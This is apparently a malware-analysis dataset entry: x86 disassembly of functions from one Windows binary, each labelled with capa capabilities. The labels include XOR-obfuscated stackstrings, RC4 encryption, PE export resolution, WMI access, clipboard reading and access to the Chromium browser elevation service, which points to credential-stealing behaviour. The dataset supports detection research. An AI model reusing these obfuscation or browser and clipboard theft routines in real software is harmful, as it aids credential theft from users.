joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40cd20
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push esi
sub esp, 0x14
call fcn.0043f340
test al, al
je 0x40cf66
call dword [sym.imp.USER32.dll_GetInputState]
mov esi, eax
call fcn.00436cc0
test al, al
je 0x40cf61
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [esp + 8], 0xf23dc0c5
mov dword [esp + 0xc], 0x9ed812de
mov byte [esp + 0x10], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 8
ja 0x40cdbb
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 8]
add eax, 0xac246899
xor eax, ecx
mov dword [esp + 4], eax
mov eax, dword [esp + 4]
mov ecx, eax
not ecx
and ecx, 0xfd
and eax, 2
sub eax, ecx
mov ecx, dword [esp]
mov byte [esp + ecx + 8], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 9
jb 0x40cd80
mov dword [esp + 8], 0x269fc505
mov dword [esp + 0xc], 0x289ffa03
mov word [esp + 0x10], 0
mov byte [esp + 0x12], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0xa
ja 0x40ce29
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 8]
mov edx, eax
xor edx, 0xf4f40b8c
and eax, 0xf4f40b8c
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 4], eax
mov eax, dword [esp + 4]
add al, 0x44
mov ecx, dword [esp]
mov byte [esp + ecx + 8], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0xb
jb 0x40cdf0
test esi, esi
je 0x40cef9
mov dword [esp + 8], 0x111e1f3f
mov dword [esp + 0xc], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 7
ja 0x40ce93
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 8]
mov edx, eax
xor edx, 0x48afdbc5
mov esi, eax
xor esi, 0x3750243a
or eax, 0x48afdbc5
and eax, esi
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 4], eax
mov eax, dword [esp + 4]
add al, 0x27
mov ecx, dword [esp]
mov byte [esp + ecx + 8], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 8
jb 0x40ce50
mov dword [esp + 8], 0x811bf54f
mov dword [esp + 0xc], 0xe7f0249e
mov word [esp + 0x10], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 9
ja 0x40cef9
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 8]
mov edx, eax
xor edx, 0x745cf25a
and eax, 0xf45cf25a
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 4], eax
mov eax, dword [esp + 4]
add al, 0x3e
mov ecx, dword [esp]
mov byte [esp + ecx + 8], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0xa
jb 0x40cec0
mov dword [esp + 8], 0x323d3c3f
mov dword [esp + 0xc], 0x36313033
mov word [esp + 0x10], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 9
ja 0x40cf4e
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 8]
add eax, 0xbc13eab5
xor eax, ecx
mov dword [esp + 4], eax
mov eax, dword [esp + 4]
add al, 0x77
mov ecx, dword [esp]
mov byte [esp + ecx + 8], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0xa
jb 0x40cf20
call fcn.0040e120
test al, al
je 0x40cf61
call fcn.00411110
call fcn.0040fdf0
call fcn.004402b0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40cfc0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x20c
mov dword [esp], ecx
mov edi, dword [esp + 0x220]
movzx ecx, word [edi]
test cx, cx
je 0x40d0db
lea eax, [edi + 2]
xor ebx, ebx
jmp 0x40cffd
add ebx, edx
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x40d01f
movzx esi, cx
cmp esi, 0x800
mov ecx, 3
sbb ecx, 0
mov edx, 1
cmp esi, 0x80
jb 0x40cff0
mov edx, ecx
jmp 0x40cff0
lea esi, [ebx + 1]
push esi
call fcn.0040c640
add esp, 4
test ebx, ebx
jle 0x40d0e5
add ebx, eax
add esi, eax
mov dword [esp + 8], esi
mov ebp, eax
jmp 0x40d055
mov byte [ebp], dl
mov esi, 1
add edi, 2
add ebp, esi
cmp ebp, ebx
jae 0x40d0e7
movzx edx, word [edi]
test dx, dx
je 0x40d0e7
cmp dx, 0x7f
jbe 0x40d040
mov ecx, ebp
not ecx
add ecx, dword [esp + 8]
movzx esi, dx
cmp ecx, 2
jb 0x40d0a0
cmp esi, 0x7ff
ja 0x40d0a0
mov ecx, edx
shr ecx, 6
xor cl, 0xc0
mov byte [ebp], cl
and dl, 0x3f
or dl, 0x80
mov byte [ebp + 1], dl
mov esi, 2
jmp 0x40d048
mov dword [esp + 4], esi
xor esi, esi
cmp ecx, 3
jb 0x40d048
mov esi, dword [esp + 4]
mov ecx, esi
shr ecx, 0xc
or cl, 0xe0
mov byte [ebp], cl
mov ecx, esi
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [ebp + 1], cl
and dl, 0x3f
or dl, 0x80
mov byte [ebp + 2], dl
mov esi, 3
jmp 0x40d048
push 1
call fcn.0040c640
add esp, 4
mov ebp, eax
mov edi, dword [esp + 0x228]
mov esi, dword [esp + 0x224]
mov byte [ebp], 0
movzx edx, byte [eax]
lea ecx, [esp + 0xc]
mov ebx, ecx
test dl, dl
je 0x40d126
inc eax
lea ebx, [esp + 0xc]
jmp 0x40d11b
mov byte [ebx], dh
inc ebx
movzx edx, byte [eax]
inc eax
test dl, dl
je 0x40d126
mov dh, 0x2f
cmp dl, 0x5c
je 0x40d110
mov dh, dl
jmp 0x40d110
mov byte [ebx], 0
push 0
push 0
push 0
mov eax, dword [esp + 0xc]
push dword [eax + 8]
add eax, 0x10
push 0
push 0
push edi
push esi
push ecx
push eax
call fcn.00408ce0
add esp, 0x28
test eax, eax
setne al
add esp, 0x20c
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
Function at 0x411110
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get common file path
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xcb8
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
shr eax, 0x1f
jmp dword [eax*4 + 0x44a6f0]

Function at 0x412aa0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x148
mov dword [esp + 0x98], 0xe143
mov byte [esp + 0x9c], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 4
ja 0x412b30
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 4]
mov eax, dword [esp + 4]
movzx eax, byte [esp + eax + 0x98]
mov edx, ecx
xor edx, 0xe38aee58
and ecx, 0xe38aee58
lea ecx, [edx + ecx*2]
mov edx, ecx
add ecx, eax
not eax
or edx, eax
sub eax, edx
lea eax, [ecx + eax*2]
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x48]
add al, 0x48
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x98], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 5
jb 0x412ae0
lea esi, [esp + 0x98]
push esi
push dword [ebp + 8]
call fcn.004045c0
add esp, 8
mov edx, eax
xor ecx, ecx
test eax, eax
sete cl
xor edi, edi
xor eax, eax
jmp dword [ecx*4 + 0x44a7a8]
Function at 0x41b5c0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get elevation service for chromium-based browsers
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xaa8
mov eax, dword [ebp + 0xc]
mov esi, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [eax + esi + 2], 0
lea esi, [esi + 2]
jne 0x41b5e0
sar esi, 1
lea ecx, [esp + 0x24]
push ecx
push 0
push 0
push esi
push eax
push 0
call dword [0x4505b8]
mov ebx, dword [esp + 0x24]
mov edi, 0xffffffff
test ebx, ebx
jns 0x41b614
mov eax, 0xffffffff
jmp 0x41b617
lea eax, [ebx + ebx]
push eax
call fcn.0040c640
add esp, 4
lea ecx, [esp + 0x24]
push ecx
push ebx
mov dword [esp + 0x24], eax
push eax
push esi
push dword [ebp + 0xc]
push 0
call dword [0x4505b8]
mov eax, dword [esp + 0x24]
mov ecx, eax
add ecx, 0xd
js 0x41b649
lea edi, [eax*2 + 0x1a]
push edi
call fcn.0040c640
add esp, 4
mov edi, eax
mov dword [esp + 0x1c8], 0xd102cf10
mov dword [esp + 0x1cc], 0xd567d373
mov dword [esp + 0x1d0], 0xd936d760
mov dword [esp + 0x1d4], 0xdd7ddb0e
mov dword [esp + 0x1d8], 0xa16bdf6e
mov dword [esp + 0x1dc], 0xa513a30b
mov dword [esp + 0x1e0], 0xa9a6a70a
mov word [esp + 0x1e4], 0
mov byte [esp + 0x1e6], 0
mov dword [esp + 0x48], 0
mov eax, dword [esp + 0x48]
cmp eax, 0x1e
mov esi, dword [esp + 0x1c]
ja 0x41b71a
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x48]
mov ecx, dword [esp + 0x48]
movzx ecx, byte [esp + ecx + 0x1c8]
mov edx, eax
xor edx, 0xbd3e532d
and eax, 0x3d3e532d
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 0x698], eax
mov eax, dword [esp + 0x698]
add al, 0x1f
mov ecx, dword [esp + 0x48]
mov byte [esp + ecx + 0x1c8], al
inc dword [esp + 0x48]
mov eax, dword [esp + 0x48]
cmp eax, 0x1f
jb 0x41b6d0
movzx ecx, word [esi]
mov eax, edi
test cx, cx
je 0x41b741
lea edx, [esi + 2]
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41b730
mov word [eax], 0
movzx ecx, word [esp + 0x1c8]
test cx, cx
je 0x41b771
lea edx, [esp + 0x1ca]
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41b760
mov word [eax], 0
lea eax, [esp + 0x638]
push 0x60
push 3
push 0x120089
push eax
push edi
call fcn.004439d0
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44b0a4]
Function at 0x421de0
Capabilities:
Encode data using xor

Disassembly:
push ebx
push edi
push esi
sub esp, 0x20
mov edi, dword [esp + 0x30]
mov eax, 0xfffffffe
nop
cmp word [edi + eax + 2], 0
lea eax, [eax + 2]
jne 0x421df0
cmp eax, 0xffffffed
jge 0x421e07
mov eax, 0xffffffff
jmp 0x421e0a
add eax, 0x12
push eax
call fcn.0040c640
add esp, 4
mov esi, eax
mov dword [esp + 4], 0xff109e4
mov dword [esp + 8], 0x38b0de9
mov dword [esp + 0xc], 0x7340134
mov dword [esp + 0x10], 0x1bfc05e0
mov word [esp + 0x14], 0x1918
mov dword [esp + 0x16], 0
mov byte [esp + 0x1a], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x16
ja 0x421e99
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 4]
mov edx, eax
xor edx, 0x2bf33942
and eax, 0x2bf33942
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x1c]
add al, 0xb6
mov ecx, dword [esp]
mov byte [esp + ecx + 4], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x17
jb 0x421e60
movzx ecx, word [edi]
mov eax, esi
test cx, cx
je 0x421ec1
add edi, 2
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edi]
add edi, 2
test cx, cx
jne 0x421eb0
mov word [eax], 0
movzx ecx, word [esp + 4]
test cx, cx
je 0x421ef1
lea edx, [esp + 6]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x421ee0
mov word [eax], 0
lea eax, [esp + 4]
push eax
push esi
call fcn.00443bb0
add esp, 8
mov edi, eax
mov ebx, dword [esp + 4]
jmp dword [0x44b490]
Function at 0x432410
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x328
mov dword [esp + 0x320], 0x44d0e0
mov dword [esp + 0xc4], 0
lea eax, [esp + 0xc4]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x448070
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], 0x448080
mov eax, dword [sym.imp.ole32.dll_CoCreateInstance]
call eax
sub esp, 0x14
not eax
shr eax, 0x1f
mov dword [esp + 0x31c], eax
mov eax, dword [esp + 0x320]
mov ecx, dword [esp + 0x31c]
mov eax, dword [eax + ecx*4]
mov dword [esp + 0x318], 0x44d0e8
mov dword [esp + 0x310], 0x44d0f0
mov dword [esp + 0x308], 0x44d0f8
mov dword [esp + 0x300], 0x44d100
mov dword [esp + 0x2f8], 0x44d108
mov dword [esp + 0x2f0], 0x44d110
mov dword [esp + 0x2e8], 0x44d118
mov dword [esp + 0x2e0], 0x44d120
mov dword [esp + 0x2d8], 0x44d128
mov dword [esp + 0x2d0], 0x44c970
mov dword [esp + 0x2cc], 0x9b
mov dword [esp + 0x2c8], 0x44d130
mov dword [esp + 0x2c0], 0x44c970
mov dword [esp + 0x2bc], 0x9e
mov dword [esp + 0x2b8], 0x44c970
mov dword [esp + 0x2b4], 0x9e
mov dword [esp + 0x2b0], 0x44d138
mov dword [esp + 0x2a8], 0x44d140
mov dword [esp + 0x2a0], 0x44d148
mov dword [esp + 0x298], 0x44d150
mov dword [esp + 0x290], 0x44d158
mov dword [esp + 0x288], 0x44d160
mov dword [esp + 0x280], 0x44c970
mov dword [esp + 0x27c], 0xa5
mov dword [esp + 0x278], 0x44c970
mov dword [esp + 0x274], 0xa6
mov dword [esp + 0x270], 0x44c970
mov dword [esp + 0x26c], 0xa7
mov dword [esp + 0x268], 0x44c970
mov dword [esp + 0x264], 0xa8
mov dword [esp + 0x260], 0x44c970
mov dword [esp + 0x25c], 0xa9
mov dword [esp + 0x258], 0x44d168
mov dword [esp + 0x250], 0x44d170
mov dword [esp + 0x248], 0x44d178
mov dword [esp + 0x240], 0x44c970
mov dword [esp + 0x23c], 0xad
mov dword [esp + 0x238], 0x44d180
mov dword [esp + 0x230], 0x44c970
mov dword [esp + 0x22c], 0xaf
mov dword [esp + 0x228], 0x44d188
mov dword [esp + 0x220], 0x44d190
mov dword [esp + 0x218], 0x44c970
mov dword [esp + 0x214], 0xb2
mov dword [esp + 0x210], 0x44c970
mov dword [esp + 0x20c], 0xb3
mov dword [esp + 0x208], 0x44d198
mov dword [esp + 0x200], 0x44c970
mov dword [esp + 0x1fc], 0xb5
mov dword [esp + 0x1f8], 0x44c970
mov dword [esp + 0x1f4], 0xb6
mov dword [esp + 0x1f0], 0x44d1a0
mov dword [esp + 0x1e8], 0x44d1a8
mov dword [esp + 0x1e0], 0x44c970
mov dword [esp + 0x1dc], 0xb9
mov dword [esp + 0x1d8], 0x44c970
mov dword [esp + 0x1d4], 0xba
mov dword [esp + 0x1d0], 0x44c970
mov dword [esp + 0x1cc], 0x92
mov dword [esp + 0x1c8], 0x44c970
mov dword [esp + 0x1c4], 0x95
mov dword [esp + 0x1c0], 0x44c970
mov dword [esp + 0x1bc], 0x99
mov dword [esp + 0x1b8], 0x44c970
mov dword [esp + 0x1b4], 0x9f
mov dword [esp + 0x1b0], 0x44c970
mov dword [esp + 0x1ac], 0xa2
mov dword [esp + 0x1a8], 0x44c970
mov dword [esp + 0x1a4], 0xaa
mov dword [esp + 0x1a0], 0x44c970
mov dword [esp + 0x19c], 0xb0
mov dword [esp + 0x198], 0x44c970
mov dword [esp + 0x194], 0xb7
xor ebx, ebx
jmp eax
Function at 0x4341e0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x10
call fcn.0041b030
sub esp, 0x14
mov esi, esp
push eax
mov edi, esp
xor eax, eax
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
jmp 0x43420a
cmp eax, 0
setne al
jmp 0x434212
xor ebx, ebx
test al, 1
jne 0x43421d
jmp 0x434347
xor eax, eax
sub esp, 8
mov dword [esp], 0
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_GetWindowLongW]
sub esp, 4
mov dword [esp], 1
call dword [sym.imp.USER32.dll_GetClipboardData]
xor ebx, ebx
cmp eax, 0
je 0x434341
sub esp, 4
mov dword [ebp - 0x1c], eax
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
sub esp, 4
mov dword [ebp - 0x18], eax
mov dword [esp], eax
call fcn.0040c780
add esp, 4
mov edx, eax
cmp edx, 0
setne al
xor ebx, ebx
test al, 1
jne 0x434285
jmp 0x434332
mov al, byte [edi]
mov byte [ebp - 0x14], al
mov byte [esi], 0xe7
mov byte [esi + 1], 0x8d
mov byte [esi + 2], 0x8f
mov byte [esi + 3], 0x87
mov byte [esi + 4], 0x8a
mov byte [esi + 5], 0x86
mov byte [esi + 6], 0xf3
mov byte [esi + 7], 0x9d
mov byte [esi + 8], 0x8c
mov byte [esi + 9], 0xc3
mov byte [esi + 0xa], 0x82
mov byte [esi + 0xb], 0x87
mov byte [esi + 0xc], 0x80
mov byte [esi + 0xd], 0xd
mov eax, 0xe
mov byte [esi + eax], 0
add eax, 1
cmp eax, 0x14
jne 0x4342c6
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, 0x14
jae 0x434310
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
movzx ecx, byte [esi + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
mov edi, edx
call fcn.00436c50
mov edx, edi
add esp, 8
mov ecx, dword [ebp - 0x10]
mov byte [esi + ecx], al
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
jmp 0x4342d9
sub esp, 0xc
mov ecx, dword [ebp + 8]
mov dword [esp], esi
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov dword [esp + 8], edx
call fcn.0040d160
mov bl, al
jmp 0x43432d
jmp 0x43432f
and bl, 1
sub esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
and bl, 1
movzx eax, bl
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4392c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x24]
mov edx, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [ecx + edx + 2], 0
lea edx, [edx + 2]
jne 0x4392e0
mov dword [esp + 4], 0x626664c9
mov word [esp + 8], 0
mov dword [esp], 0
mov esi, dword [esp]
cmp esi, 5
ja 0x43935c
nop
nop
nop
nop
nop
nop
nop
mov esi, dword [esp]
mov edi, dword [esp]
movzx edi, byte [esp + edi + 4]
mov ebx, esi
xor ebx, 0x965d269
and esi, 0x965d269
lea esi, [ebx + esi*2]
lea ebx, [esi + edi]
and esi, edi
mov edi, ebx
xor edi, esi
add edi, esi
not esi
and esi, ebx
add esi, esi
sub esi, edi
mov dword [esp + 0xc], esi
mov ebx, dword [esp + 0xc]
add bl, 0xf3
mov esi, dword [esp]
mov byte [esp + esi + 4], bl
inc dword [esp]
mov esi, dword [esp]
cmp esi, 6
jb 0x439310
test edx, edx
je 0x4393ce
sar edx, 1
mov esi, dword [esp + 4]
lea edi, [edx - 1]
mov ebx, edx
and ebx, 3
je 0x439391
mov ebp, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
dec edx
movzx eax, word [ecx]
add ecx, 2
xor eax, ebp
imul eax, esi
mov ebp, eax
dec ebx
jne 0x439380
cmp edi, 3
jb 0x4393ce
xor edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, word [ecx + edi*2]
xor ebx, eax
imul ebx, esi
movzx eax, word [ecx + edi*2 + 2]
xor eax, ebx
imul eax, esi
movzx ebx, word [ecx + edi*2 + 4]
xor ebx, eax
imul ebx, esi
movzx eax, word [ecx + edi*2 + 6]
xor eax, ebx
imul eax, esi
add edi, 4
cmp edx, edi
jne 0x4393a0
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x43a480
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
push eax
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x43a575
mov ebp, dword [esp + 0x18]
xor esi, esi
mov edi, 2
jmp 0x43a4b9
lea ecx, [edi + 4]
add edi, 2
mov eax, dword [esp]
mov esi, eax
cmp edi, edx
mov edi, ecx
mov ebp, dword [esp + 0x18]
jae 0x43a577
movzx eax, byte [ebp + edi - 2]
push eax
call fcn.0041f720
add esp, 4
mov bh, al
movzx eax, byte [ebp + edi - 1]
push eax
call fcn.0041f720
mov edx, dword [esp + 0x20]
add esp, 4
mov bl, al
shl bh, 2
xor al, 0xc0
mov ecx, ebx
or cl, 0x30
and cl, al
shr cl, 4
add cl, bh
lea eax, [esi + 1]
mov dword [esp], eax
mov eax, dword [esp + 0x20]
mov byte [eax + esi], cl
cmp edi, edx
jae 0x43a4a0
movzx eax, byte [ebp + edi]
push eax
call fcn.0041f720
mov edx, dword [esp + 0x20]
add esp, 4
cmp al, 0x40
je 0x43a4a0
shl bl, 4
mov ecx, eax
shr cl, 2
and cl, 0xf
or cl, bl
lea ebx, [esi + 2]
mov dword [esp], ebx
mov ebx, dword [esp + 0x20]
mov byte [ebx + esi + 1], cl
lea ecx, [edi + 1]
cmp ecx, edx
jae 0x43a4a0
mov ecx, dword [esp + 0x18]
movzx ecx, byte [ecx + edi + 1]
push ecx
mov ebx, eax
call fcn.0041f720
mov edx, dword [esp + 0x20]
add esp, 4
cmp al, 0x40
je 0x43a4a0
mov ecx, ebx
shl cl, 6
add al, cl
mov ecx, dword [esp + 0x20]
mov byte [ecx + esi + 2], al
add esi, 3
mov dword [esp], esi
jmp 0x43a4a0
xor eax, eax
add esp, 4
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43d560
Capabilities:
Encode data using xor

Disassembly:
push esi
sub esp, 0x10
mov eax, dword [esp + 0x18]
mov dword [esp + 4], 0x393a3bec
mov word [esp + 8], 0
mov byte [esp + 0xa], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 6
ja 0x43d5cb
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 4]
mov esi, ecx
xor esi, 0x86421cb
and ecx, 0x86421cb
lea ecx, [esi + ecx*2]
xor ecx, edx
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 0xc]
add cl, 9
mov edx, dword [esp]
mov byte [esp + edx + 4], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 7
jb 0x43d590
mov ecx, dword [esp + 4]
mov ecx, dword fs:[ecx]
push eax
push 0
push dword [ecx + 0x18]
call dword [0x4585d8]
add esp, 0x10
pop esi
ret

Function at 0x43d5f0
Capabilities:
Encode data using xor

Disassembly:
push esi
sub esp, 0x10
mov eax, dword [esp + 0x18]
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44e16c]
Function at 0x43d6a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x18
mov esi, ecx
mov dword [esp + 0xc], 0
mov dword [esp + 4], 0x989b9a9d
mov byte [esp + 8], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 4
ja 0x43d716
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 4]
mov edx, eax
xor edx, 0xcede9c5b
and eax, 0xcede9c5b
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
mov ecx, eax
not ecx
and ecx, 0xc7
and eax, 0x38
sub eax, ecx
mov ecx, dword [esp]
mov byte [esp + ecx + 4], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 5
jb 0x43d6d0
mov edi, dword [esp + 4]
mov eax, dword [0x4505bc]
test eax, eax
je 0x43d766
xor ecx, ecx
mov edx, dword [0x4505c0]
nop
nop
nop
nop
nop
cmp dword [edx + ecx*8], 0xcecd21fd
je 0x43d740
inc ecx
cmp eax, ecx
jne 0x43d730
jmp 0x43d766
mov eax, dword [edx + ecx*8 + 4]
cmp eax, edi
je 0x43d766
lea ecx, [esp + 0xc]
push ecx
push 0
push 0
push 5
push 4
push dword [0x4505c4]
push eax
call fcn.004403a0
add esp, 0x1c
mov edi, eax
cmp edi, 0xc0000004
jne 0x43d8b5
mov dword [esp + 0x14], esi
push dword [esp + 0xc]
call fcn.0043d560
add esp, 4
mov ecx, dword [esp + 0xc]
mov dword [esp + 4], 0x989b9a9d
mov byte [esp + 8], 0
mov dword [esp], 0
mov edx, dword [esp]
cmp edx, 4
ja 0x43d7f7
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [esp]
mov esi, dword [esp]
movzx esi, byte [esp + esi + 4]
mov edi, edx
xor edi, 0xcede9c5b
and edx, 0xcede9c5b
lea edx, [edi + edx*2]
xor edx, esi
mov dword [esp + 0x10], edx
mov edx, dword [esp + 0x10]
mov esi, edx
not esi
and esi, 0xc7
and edx, 0x38
sub edx, esi
mov esi, dword [esp]
mov byte [esp + esi + 4], dl
inc dword [esp]
mov edx, dword [esp]
cmp edx, 5
jb 0x43d7b0
mov edi, dword [esp + 4]
mov edx, dword [0x4505bc]
test edx, edx
je 0x43d846
xor ebx, ebx
mov ebp, dword [0x4505c0]
nop
nop
nop
cmp dword [ebp + ebx*8], 0xcecd21fd
je 0x43d821
inc ebx
cmp edx, ebx
jne 0x43d810
jmp 0x43d846
mov edx, dword [ebp + ebx*8 + 4]
cmp edx, edi
je 0x43d846
push 0
push ecx
push eax
push 5
push 4
push dword [0x4505c4]
push edx
mov esi, eax
call fcn.004403a0
add esp, 0x1c
mov edi, eax
mov eax, esi
test edi, edi
js 0x43d8ac
mov ecx, dword [esp + 0x2c]
mov ebx, dword [eax]
mov edx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, dword [edx + ebx + 0x3c]
add edx, ebx
xor ebx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebp, word [edi + ebx]
movzx esi, word [ecx + ebx]
test bp, bp
je 0x43d885
add ebx, 2
cmp bp, si
je 0x43d870
cmp bp, si
je 0x43d897
mov ebx, dword [edx]
test ebx, ebx
jne 0x43d860
mov edi, 0xc0000225
jmp 0x43d8ac
mov ecx, dword [edx + 0x44]
mov esi, dword [esp + 0x14]
mov dword [esi + 8], ecx
mov ecx, dword [edx + 0xdc]
mov dword [esi + 0xc], ecx
xor edi, edi
push eax
call fcn.0043d5f0
add esp, 4
mov eax, edi
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret 4